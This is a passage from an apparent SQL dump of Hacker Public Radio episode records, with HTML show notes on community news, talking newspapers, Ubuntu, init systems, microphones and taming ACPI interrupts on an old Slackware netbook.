target=\"_blank\">hpr3806</a></strong>\n(2023-03-06) \"<em>HPR Community News for February 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3806#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2023-03-08:\n\"Karaoke\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3807#comments\" target=\"_blank\">hpr3807</a></strong>\n(2023-03-07) \"<em>PeePaw builds a computer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3807#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-26:\n\".\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3807#2\" target=\"_blank\">Comment 2</a>:\nMechatroniac on 2023-02-26:\n\".\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3807#3\" target=\"_blank\">Comment 3</a>:\nbrian-in-ohio on 2023-03-08:\n\"forth shows\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3808#comments\" target=\"_blank\">hpr3808</a></strong>\n(2023-03-08) \"<em>Funkwhale A social platform to enjoy and share music</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3808#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-03-09:\n\"funkwhale\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3808#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-03-22:\n\"Piqued interest\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3809#comments\" target=\"_blank\">hpr3809</a></strong>\n(2023-03-09) \"<em>The Abominable Post Apocalyptic Podcast Player</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3809#1\" target=\"_blank\">Comment 1</a>:\nSome Guy on The Internet on 2023-03-09:\n\"The normiees wouldn&rsquo;t like it.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3809#2\" target=\"_blank\">Comment 2</a>:\nMechatroniac on 2023-03-09:\n\"captions\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3809#3\" target=\"_blank\">Comment 3</a>:\nnorrist on 2023-03-09:\n\"Premium HPR content\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3809#4\" target=\"_blank\">Comment 4</a>:\nMechatroniac on 2023-03-10:\n\"reply\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3810#comments\" target=\"_blank\">hpr3810</a></strong>\n(2023-03-10) \"<em>Clifton, Arizona</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3810#1\" target=\"_blank\">Comment 1</a>:\nzen_floater2 on 2023-03-10:\n\"up-state !\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3814#comments\" target=\"_blank\">hpr3814</a></strong>\n(2023-03-16) \"<em>2022-2023 New Years Show Episode 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3814#1\" target=\"_blank\">Comment 1</a>:\nStache_AF on 2023-03-16:\n\"I need to speak up\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3814#2\" target=\"_blank\">Comment 2</a>:\nSome Guy on The Internet on 2023-03-17:\n\"I vote for \"Push To Talk\".\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3814#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2023-03-26:\n\"What license\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3814#4\" target=\"_blank\">Comment 4</a>:\nSome Guy On The Internet on 2023-03-27:\n\"Video License.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3815#comments\" target=\"_blank\">hpr3815</a></strong>\n(2023-03-17) \"<em>The UNIVAC Uniscope - The first terminal with a video monitor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=194\" target=\"_blank\">Deltaray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3815#1\" target=\"_blank\">Comment 1</a>:\nmirwi on 2023-03-24:\n\"Second delete key -&gt; carriage return?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3815#2\" target=\"_blank\">Comment 2</a>:\nDeltaray on 2023-03-27:\n\"Documentation on keyboard layout\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3821#comments\" target=\"_blank\">hpr3821</a></strong>\n(2023-03-27) \"<em>The Oh No! News.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3821#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-03-27:\n\"Mastodon?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3821#2\" target=\"_blank\">Comment 2</a>:\nSome Guy On The Internet on 2023-03-28:\n\"My Mastodon handle.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3822#comments\" target=\"_blank\">hpr3822</a></strong>\n(2023-03-28) \"<em>A tale of wonder, angst and woe</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">Bookewyrmm</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3822#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-03-31:\n\"Wrist device\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3825#comments\" target=\"_blank\">hpr3825</a></strong>\n(2023-03-31) \"<em>Creating a natural aquarium</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=375\" target=\"_blank\">minnix</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3825#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2023-03-31:\n\"Great and fascinating show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3825#2\" target=\"_blank\">Comment 2</a>:\nminnix on 2023-03-31:\n\"Thanks Dave\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-March/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-March/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"movement-of-the-play-button-on-each-show-page\">Movement of the\n<em>play</em> button on each show page</h3>\n<ul>\n<li>A request was made to move this from the bottom of each show page,\nwhere it can be difficult to find because of the length of the notes, to\nthe top.</li>\n<li>The change was made in the last week of March.</li>\n</ul>\n<h3 id=\"non-english-shows\">Non-English shows</h3>\n<p>How to organise them?</p>\n<ol type=\"1\">\n<li>Just an intro and then the show</li>\n<li>An intro and then the show, then the text-to-speech translation\nafter</li>\n<li>Just the text-to-speech translation</li>\n<li>The original in the left channel and the text-to-speech in the\nright</li>\n</ol>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3574,'2022-04-14','Local Talking Newspapers',393,'Recordings of Local News for the Blind and Visually Impaired','<p>The Talking News Federation website:</p>\r\n<p><a href=\"https://tnf.org.uk/\" class=\"uri\">https://tnf.org.uk/</a></p>\r\n<p>With links to 300+ talking newspapers in the UK.</p>\r\n<p>The British Wireless for the Blind website:</p>\r\n<p><a href=\"https://www.bwbf.org.uk/\" class=\"uri\">https://www.bwbf.org.uk/</a></p>\r\n<p>Royalty Free Music from Bensound:</p>\r\n<p><a href=\"https://www.bensound.com/\" class=\"uri\">https://www.bensound.com/</a></p>\r\n<p>The Audacity website:</p>\r\n<p><a href=\"https://www.audacityteam.org/\" class=\"uri\">https://www.audacityteam.org/</a></p>\r\n',403,79,0,'CC-BY-SA','blind, audio, recording',0,0,1),
(3575,'2022-04-15','An Edinburgh Blether',3724,'MrX and Dave Morriss catching up after nearly a year','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Hosts:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n</ul>\r\n<p>We recorded this on Sunday March 6<sup>th</sup> 2022. The last time we set up a chat like this was back in March 2021, almost exactly a year ago surprisingly!</p>\r\n<p><small>Note on the title: we spoke a little on the subject of the Scots language in the show - when speaking of the current census - so the title uses a Scots term.</small></p>\r\n<h2 id=\"topics-discussed\">Topics discussed</h2>\r\n<ul>\r\n<li>COVID:\r\n<ul>\r\n<li>Losing track of time</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Christmas:\r\n<ul>\r\n<li>A quiet time for both of the hosts, with some family time</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Dave’s family matters:\r\n<ul>\r\n<li>Son graduated after doing an MSc and got a job quite quickly last year</li>\r\n<li>Daughter had graduated from an MSc the year before and also got a job this year.</li>\r\n<li>Dave had a bout of <em>shingles</em> in early January, which lasted about 6-7 weeks overall. If you can get a shingles vaccination as you age, get one!</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>UK heating, boilers, etc.\r\n<ul>\r\n<li>MrX’s in-laws had a boiler failure during the cold weather, and a gas leak!</li>\r\n<li>Dave had a leak in his cold water tank in the attic which flooded the room below. He decided to completely upgrade the heating system, remove all tanks and put in a new pressurised condensing gas boiler. See the Wikipedia page for an overview of <a href=\"https://en.wikipedia.org/wiki/Central_heating\" title=\"Central heating\">central heating systems</a>.</li>\r\n<li>Old-style plumbing; coal fires, back boilers and dampers.</li>\r\n<li>The era of coal:\r\n<ul>\r\n<li><a href=\"https://en.wiktionary.org/wiki/gas_poker\" title=\"Gas poker\">Gas poker</a> used for starting domestic (usually coal) fires</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Coal_gas\" title=\"Coal gas\">Coal gas</a> made from coal, superseded by natural gas</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gas_holder\" title=\"Gasometer or Gas holder\">Gasometer</a> storage device for coal gas</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Internet connectivity:\r\n<ul>\r\n<li>Dave has transitioned from ADSL to fibre since the last show\r\n<ul>\r\n<li><em>Fibre to the Premises</em>, with up to 1 Gbit/s if desired</li>\r\n<li>New router using <em>Wireless 6</em></li>\r\n</ul></li>\r\n<li>MrX has <em>Fibre to the Cabinet</em></li>\r\n<li>Dave’s new router doesn’t allow the Pi-hole to work at the moment</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Chromebook:\r\n<ul>\r\n<li>MrX has acquired a Chromebook since our last show\r\n<ul>\r\n<li>It is convenient to use. Made answering the online Scottish Census quite straightforward.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Census and <a href=\"https://en.wikipedia.org/wiki/Scots_language\" title=\"Scots Language\">Scots Language</a>:\r\n<ul>\r\n<li>The Census asks about the Scots Language, whether the person can speak and understand it.</li>\r\n<li>Dave follows <a href=\"https://twitter.com/Lenniesaurus\" title=\"@lenniesaurus on Twitter\"><code>@lenniesaurus</code> on Twitter</a> who introduces a daily Scots word.</li>\r\n<li>According to Wikipedia:</li>\r\n</ul>\r\n<blockquote>\r\n<p><em>Scots is recognised as an indigenous language of Scotland, a regional or minority language of Europe, and a vulnerable language by UNESCO. In the 2011 Scottish Census, over 1.5 million people in Scotland reported being able to speak Scots.</em></p>\r\n</blockquote></li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Scots words:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Scots_language\">Scots Language</a></li>\r\n<li><a href=\"\">The online Scots dictionary (English to Scots)</a></li>\r\n<li><a href=\"https://twitter.com/Lenniesaurus\"><code>@lenniesaurus</code> on Twitter</a> - poet and Scots language enthusiast</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Plumbing, heating:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Central_heating\">Central Heating</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Hot_water_storage_tank\">Hot water tank</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Electric_heating#Immersion_heater\">Immersion heater</a></li>\r\n<li><a href=\"https://en.wiktionary.org/wiki/gas_poker\">Gas poker</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Coal_gas\">Coal gas</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gas_holder\">Gas holder/gasometer</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Internet connection:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Asymmetric_digital_subscriber_line\">ADSL - Asymmetric digital subscriber line</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fiber_to_the_x\"><em>Fibre to the X</em> - different types of fibre connection</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','conversation,blether',0,0,1),
(3576,'2022-04-18','First impressions of Ubuntu 22.04 as a daily driver.',1380,'Knightwise gives his first impressions on the latest LTS release of Ubuntu','<p>Knightwise gives us a good first impression of the Ubuntu 22.04 release and answers the question if its ready for prime time. We go down a little rabbithole on why there will never be a year of the Linux desktop.</p>\r\n<p>The app mentioned to Sync Onedrive with Ubuntu is Insync: <a href=\"https://www.insynchq.com\" class=\"uri\">https://www.insynchq.com</a></p>\r\n<p>The podcast about Knightwise\'s favorite command line apps is here: <a href=\"https://knightwise.com/kw1607-conquering-the-command-line/\" class=\"uri\">https://knightwise.com/kw1607-conquering-the-command-line/</a></p>\r\n<p>The podcast mentioned \'Linux for a Living\" can be found here: <a href=\"https://knightwise.com/kw1604-linux-on-the-workplace-desktop/\" class=\"uri\">https://knightwise.com/kw1604-linux-on-the-workplace-desktop/</a></p>\r\n',111,0,0,'CC-BY-SA','ubuntu, linux, desktop, open-source',0,0,1),
(3578,'2022-04-20','Linux Inlaws S01E54: Electronic Freedom Never Mind the Civil Rest',5234,'A discussion with members of the Electronic Frontier Georgia about electronic freedom, civil rights ','<p>In this episode our two hosts talk to an eclectic panel consisting of\r\nmembers of the Georgian affiliation of the Electronic Frontier Foundation\r\n(EFF) called Electronic Frontiers Georgia. Among other topics, civil rights\r\n(especially in the digital age), sharing of ideas never mind other\r\nintellectual capital and why this still matters in socialist America are the\r\nfocus of discussion. Plus Chris manages to recount most of the founding\r\nfathers of the US (gaps may be present... :-)</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Electronic Frontiers Georgia: <a href=\"https://ef-georgia.org\" target=_blank>https://ef-georgia.org</a></li>\r\n<li>Electronic Frontier Foundation: <a href=\"https://www.eff.org\" target=_blank>https://www.eff.org</a></li>\r\n<li>Software Freedom Conservancy: <a href=\"https://sfconservancy.org\" target=_blank>https://sfconservancy.org</a></li>\r\n<li>American Civil Liberties Union: <a href=\"https://www.aclu.org\" target=_blank>https://www.aclu.org</a></li>\r\n<li>The Hacker Crackdown: <a href=\"https://www.gutenberg.org/ebooks/101\" target=_blank>https://www.gutenberg.org/ebooks/101</a></li>\r\n<li>The Electronic Frontier Alliance: <a href=\"https://www.eff.org/fight\" target=_blank>https://www.eff.org/fight</a></li>\r\n<li>Shodan: <a href=\"https://www.shodan.io\" target=_blank>https://www.shodan.io</a></li>\r\n<li>Shotspotter: <a href=\"https://www.shotspotter.com\" target=_blank>https://www.shotspotter.com</a></li>\r\n<li>High velocity winds: <a href=\"https://en.wikipedia.org/wiki/Storm\" target=_blank>https://en.wikipedia.org/wiki/Storm</a></li>\r\n<li>Super amigos: <a href=\"https://www.imdb.com/title/tt0923928/?ref_=fn_al_tt_2\" target=_blank>https://www.imdb.com/title/tt0923928/?ref_=fn_al_tt_2</a></li>\r\n<li>Chaos Communication Congress: <a href=\"https://en.wikipedia.org/wiki/Chaos_Communication_Congress\" target=_blank>https://en.wikipedia.org/wiki/Chaos_Communication_Congress</a></li>\r\n<li>Authors of US constitution: <a href=\"https://en.wikipedia.org/wiki/Founding_Fathers_of_the_United_States\" target=_blank>https://en.wikipedia.org/wiki/Founding_Fathers_of_the_United_States</a></li>\r\n<li>The Federalist Papers: <a href=\"https://en.wikipedia.org/wiki/The_Federalist_Papers\" target=_blank>https://en.wikipedia.org/wiki/The_Federalist_Papers</a></li>\r\n<li>US Consitution: <a href=\"https://guides.loc.gov/constitution\" target=_blank>https://guides.loc.gov/constitution</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','EFF,Electronic Frontier Foundation, Georgia, US Constitution, Civil Rights, Positive Lobbying',0,0,1),
(3589,'2022-05-05','Sample of my microphones',434,'Microphones I have around the apartment','<h3 id=\"microphones-around-the-apartment\">Microphones around the apartment</h3>\r\n<h4 id=\"tozo-t9\">Tozo T9</h4>\r\n<p><a href=\"https://www.amazon.com/TOZO-Environmental-Cancellation-Cancelling-Headphones/dp/B09G2ZN5FX\" class=\"uri\">https://www.amazon.com/TOZO-Environmental-Cancellation-Cancelling-Headphones/dp/B09G2ZN5FX</a></p>\r\n<p><em>Tozo T9 earbuds</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3589/Screenshot_Tozo_T9.png\" alt=\"Tozo T9 earbuds\" />  </p>\r\n<h4 id=\"moto-g-power\">Moto G Power</h4>\r\n<h4 id=\"acer-aspire-slim\">Acer Aspire Slim</h4>\r\n<h4 id=\"memorex\">Memorex?</h4>\r\n<ul>\r\n<li>Bought at Office Depot</li>\r\n</ul>\r\n<h4 id=\"mpow-hc6-usb-headset3.5mm-computer-pc-on-ear-office-headphones\">Mpow HC6 USB Headset/3.5mm Computer PC On-Ear Office Headphones</h4>\r\n<p><a href=\"https://www.ebay.com/itm/402912231079\" class=\"uri\">https://www.ebay.com/itm/402912231079</a></p>\r\n<p><em>Mpow Headset</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3589/Screenshot_Mpow_HC6.png\" alt=\"Mpow Headset\" />  </p>\r\n<h4 id=\"mobile-audio-recorder-on-f-droid\">Mobile Audio Recorder on F-droid</h4>\r\n<p><a href=\"https://f-droid.org/en/packages/com.github.axet.audiorecorder\" class=\"uri\">https://f-droid.org/en/packages/com.github.axet.audiorecorder</a></p>\r\n',318,0,0,'CC-BY-SA','microphones, headsets, bluetooth',0,0,1),
(3581,'2022-04-25','My daily Linux driver.',1376,'Knightwise talks about the Linux system he uses as a daily driver.','<p>I talk about how I use Linux on a Daily basis from my home workstation.</p>\r\n\r\n<h3>Products mentioned in this episode</h3>\r\n<p><small>Added by Ken</small></p>\r\n<ul>\r\n<li><a href=\"https://jysk.be/nl/bureau/bureau/computertafel/verstelbaar-bureau-slangerup-zwart\">jysk Standing Desks</a> EUR 499</li>\r\n<li><a href=\"https://www.amazon.de/-/en/ASUS-XG349C-86-36-Inch-3440x1440/dp/B09641MM21\">34 ASUS Repubic of Gamers Monitor</a> EUR 1,049</li>\r\n<li><a href=\"https://www.amazon.de/-/en/S2722DC-Inches-Monitor-extreme-Anti-Glare/dp/B09CGYHJ84\">27\" Dell Display</a> EUR 339.99</li>\r\n<li><a href=\"https://www.amazon.de/-/en/Logitech-Wireless-Keyboard-Bluetooth-Connection/dp/B07W7KRXDW\">Logitech MX Keys Wireless Keyboard, Bluetooth and USB Receiver, USB-C Connection</a> EUR 79</li>\r\n<li><a href=\"https://www.amazon.de/-/en/Logitech-Bluetooth-connection-ultra-fast-scrolling/dp/B07W6JG6Z7\">Logitech MX Master 3 Wireless Mouse</a> EUR 66</li>\r\n<li><a href=\"https://www.amazon.de/-/en/Evolve-including-Bluetooth-Headset-7099-823-409/dp/B078P2Y7RL\">Jabra Evolve 75e UC including Link 370 Bluetooth Headset</a> EUR 222.50</li>\r\n<li><a href=\"https://www.lenovo.com/us/en/p/desktops/thinkcentre/m-series-sff/thinkcentre-m710s/11tc1md710s\">Lenovo ThinkCentre M710</a>i5, 16G RAM, 265G SSD Linux Mint ~EUR 500-1500</li>\r\n<li><a href=\"https://www.microsoft.com/en-us/windows/microsoft-edge\">Microsoft Edge</a></li>\r\n<li><a href=\"https://www.ocf.berkeley.edu/~ckuehl/tmux/\">tmux</a></li>\r\n<li><a href=\"https://www.spotify.com/\">spotify</a></li>\r\n<li>(?)Pistero(?) Podcast App</li>\r\n<li><a href=\"https://newsboat.org/\">Newsboat RSS Reader</a></li>\r\n<li><a href=\"https://irssi.org/\">Irssi IRC Client</a></li>\r\n<li><a href=\"https://apps.microsoft.com/store/detail/windows-terminal-preview/9N8G5RFZ9XK3\">Windows Terminal Preview</a></li>\r\n<li><a href=\"https://mobaxterm.mobatek.net/\">MobaXterm</a> Windows with X11 server</li>\r\n<li><a href=\"https://www.microsoft.com/en-us/d/surface-pro-x/8xtmb6c575md\">Windows Surface Pro X</a></li>\r\n</ul>\r\n',111,0,0,'CC-BY-SA','linux, workstation, ubuntu, budgie, mint',0,0,1),
(3583,'2022-04-27','takov751 and dnt talk about browsers',473,'After episode 3543, some messages were exchanged','<p>This is the follow up to episode 3543. HPR host takov751 had some things to say and I responded.</p>\r\n<p>If you have any topic ideas for a show in this type of format, let me know or post a show yourself.</p>',399,0,1,'CC-BY-SA','browsers',0,0,1),
(3588,'2022-05-04','Linux Inlaws S01E55: Get yer boots on for a fresh look at init systems',2779,'Martin and Chris discuss what happens when you turn on a computer (preferably running Linux)','<p>In this episode, Martin and Chris discuss init systems and Chris outs\r\nhimself as a systemd fan boy (Devuan followers take note :-). Even Linux and\r\nother FLOSS OS geeks not interested in what happens when you flick the power\r\nswitch on a computer may find this episode (vaguely) interesting as some light\r\nis also shed on the philosophy of the different system architectures and their\r\nhistory (Ever wanted to know what an /360 IPL really is? Then stay tuned...).\r\nDisclosure: The following text may resort to regular expressions to keep\r\nthings concise and simple. Some of the PCRE-challenged readers may take\r\noffence - you have been warned.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Booting a PC: <a href=\"https://en.wikipedia.org/wiki/Booting#Personal_computers_(PC)\" target=_blank>https://en.wikipedia.org/wiki/Booting#Personal_computers_(PC)</a></li>\r\n<li>GRUB: <a href=\"https://www.gnu.org/software/grub\" target=_blank>https://www.gnu.org/software/grub</a></li>\r\n<li>([A-Z][a-z]+ux) Init systems (general overview): <a href=\"https://arxiv.org/pdf/0706.2748v1.pdf\" target=_blank>https://arxiv.org/pdf/0706.2748v1.pdf</a></li>\r\n<li>SysV init: <a href=\"https://en.wikipedia.org/wiki/Init#SysV-style\" target=_blank>https://en.wikipedia.org/wiki/Init#SysV-style</a></li>\r\n<li>systemd: <a href=\"https://0pointer.de/blog/projects/systemd.html\" target=_blank>https://0pointer.de/blog/projects/systemd.html</a></li>\r\n<li>OpenRC: <a href=\"https://github.com/OpenRC/openrc\" target=_blank>https://github.com/OpenRC/openrc</a></li>\r\n<li>Canonical\'s Upstart: <a href=\"https://upstart.ubuntu.com\" target=_blank>https://upstart.ubuntu.com</a></li>\r\n<li>Switch from upstart to systemd: <a href=\"https://www.markshuttleworth.com/archives/1316\" target=_blank>https://www.markshuttleworth.com/archives/1316</a></li>\r\n<li>Runlevels: <a href=\"https://www.linfo.org/runlevel_def.html\" target=_blank>https://www.linfo.org/runlevel_def.html</a></li>\r\n<li>Serial console: <a href=\"https://www.kernel.org/doc/html/latest/admin-guide/serial-console.html\" target=_blank>https://www.kernel.org/doc/html/latest/admin-guide/serial-console.html</a></li>\r\n<li>Hello Magazine: <a href=\"https://www.hellomagazine.com\" target=_blank>https://www.hellomagazine.com</a></li>\r\n<li>Unix philosophy: <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\" target=_blank>https://en.wikipedia.org/wiki/Unix_philosophy</a></li>\r\n<li>And in much more detail: <a href=\"https://www.catb.org/~esr/writings/taoup/html/ch01s06.html\" target=_blank>https://www.catb.org/~esr/writings/taoup/html/ch01s06.html</a></li>\r\n<li>Devuan: <a href=\"https://www.devuan.org\" target=_blank>https://www.devuan.org</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','init, SysVInit, Upstart, systemd, GRUB, Unix philosophy, Hello Magazine',0,0,1),
(3591,'2022-05-09','Small Flashlights',675,'Stuff that goes in your pocket','<p>Just had my birthday got some lights</p>\r\n',129,0,0,'CC-BY-SA','Flashlight,usb,pocket device ',0,0,1),
(3577,'2022-04-19','Hello and how I got into tech',444,'Hi, I\'m Sarah and this is how I got into Tech','<p>Hi, I\'m Sarah. In this show, I introduce myself and ramble about how I got into tech. Despite saying I hate talking about myself, I managed 7 minutes and 25 seconds. I started as a kid with a Tandy and eventually ended up being a librarian and a sysadmin for a RedHat system.</p>',404,29,1,'CC-BY-SA','intro, linux',0,0,1),
(3605,'2022-05-27','Aspire-ing to use 13 year hardware',502,'Part 2 of using Slackware on the old netbook','<h3 id=\"aspireing-to-use-13-year-hardware\">Aspire-ing to use 13 year hardware</h3>\r\n<h4 id=\"dual-boot\">Dual boot</h4>\r\n<pre><code>image = /boot/vmlinuz\r\n  root = /dev/sda3\r\n  label = Slackware15.0\r\n  read-only\r\nimage = /boot/vmlinuz\r\n  root = /dev/sda2\r\n  label = Slackware14.2\r\n  read-only</code></pre>\r\n<h4 id=\"first-change\">First change</h4>\r\n<pre><code># LILO configuration file\r\n# Append any additional kernel parameters:\r\nappend=&quot;acpi=ht&quot;</code></pre>\r\n<p>Dropped CPU usage to 50%</p>\r\n<h4 id=\"second-change\">Second change</h4>\r\n<pre><code>grep . -r /sys/firmware/acpi/interrupts/\r\n\r\n/sys/firmware/acpi/interrupts/gpe1D:322734808     STS enabled      unmasked\r\n\r\necho &quot;mask&quot; &gt; /sys/firmware/acpi/interrupts/gpeXX</code></pre>\r\n<h4 id=\"interrupts\">Interrupts</h4>\r\n<p><em>Interrupts</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3605/interrupts.png\" alt=\"Interrupts\" />  </p>\r\n<p>My case was</p>\r\n<pre><code>echo &quot;mask&quot; &gt; /sys/firmware/acpi/interrupts/gpe1D</code></pre>\r\n<p>Dropped usage to 0-5%</p>\r\n<p>Then added the mask to crontab -e under root</p>\r\n<p>Add \'acpi_mask_gpe=0x1D\' or whatever interrupt corresponds to the overactive one, and remember to run the lilo command afterward to make the kernel option active.</p>\r\n<p><em>Htop options for CPU usage</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3605/options.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3605/options_thumbnail.png\" alt=\"Htop options for CPU usage\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\r\n<p><em>Htop display</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3605/htop.png\" alt=\"Htop display\" />  </p>\r\n<h4 id=\"upgrades\">Upgrades</h4>\r\n<p>Fan from AliExpress</p>\r\n<p><a href=\"https://www.aliexpress.com/item/32861732299.html\" class=\"uri\">https://www.aliexpress.com/item/32861732299.html</a></p>\r\n<p><em>Replacement fan</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3605/fan.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3605/fan_thumbnail.png\" alt=\"Replacement fan\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\r\n<p>2GB DDR2 667MHz SODIMM PC2-5300</p>\r\n<p><a href=\"https://www.amazon.com/gp/product/B00C53A37K\" class=\"uri\">https://www.amazon.com/gp/product/B00C53A37K</a></p>\r\n<p><em>2Gb ram upgrade</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3605/memory.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3605/memory_thumbnail.jpg\" alt=\"2Gb ram upgrade\" /></a> 